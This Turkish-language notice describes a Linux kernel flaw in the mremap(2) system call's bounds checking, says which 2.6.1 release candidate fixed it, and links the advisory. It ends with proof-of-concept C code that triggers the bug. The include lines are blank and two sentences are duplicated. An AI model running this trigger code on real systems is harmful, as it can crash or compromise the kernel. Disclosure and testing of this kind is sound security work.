Kernel'in bellek yönetim kodunda, mremap(2) sistem çağrısındaki hatalı sınır kontrolünden kaynaklanan bir güvenlik zayıflığı bulundu.
mremap sistem çağrısı, sanal bellek alanlarının adreslenebilir boşluklarını taşımak ve boyutlarını değiştirme imkanı sağlıyor.
Duyurunun tamamı: http://isec.pl/vulnerabilities/isec-0013-mremap.txt
mremap sistem çağrısı, sanal bellek alanlarının adreslenebilir boşluklarını taşımak ve boyutlarını değiştirme imkanı sağlıyor.
Duyurunun tamamı: http://isec.pl/vulnerabilities/isec-0013-mremap.txt
Kernel 2.6.0'da aynı zayıflığın olduğu duyurulmuştu, 2.6.1-rc1'de zayıflığın giderilmediği, 2.6.1-rc2'de giderildiği ek bir açıklama ile duyuruldu.
Zayıflığı test etmek isteyenler aşağıdaki kodu deneyebilir:
#include
#include
#include
#include
#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
int main( void )
{
void *base;
base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );
fork();
return( 0 );
}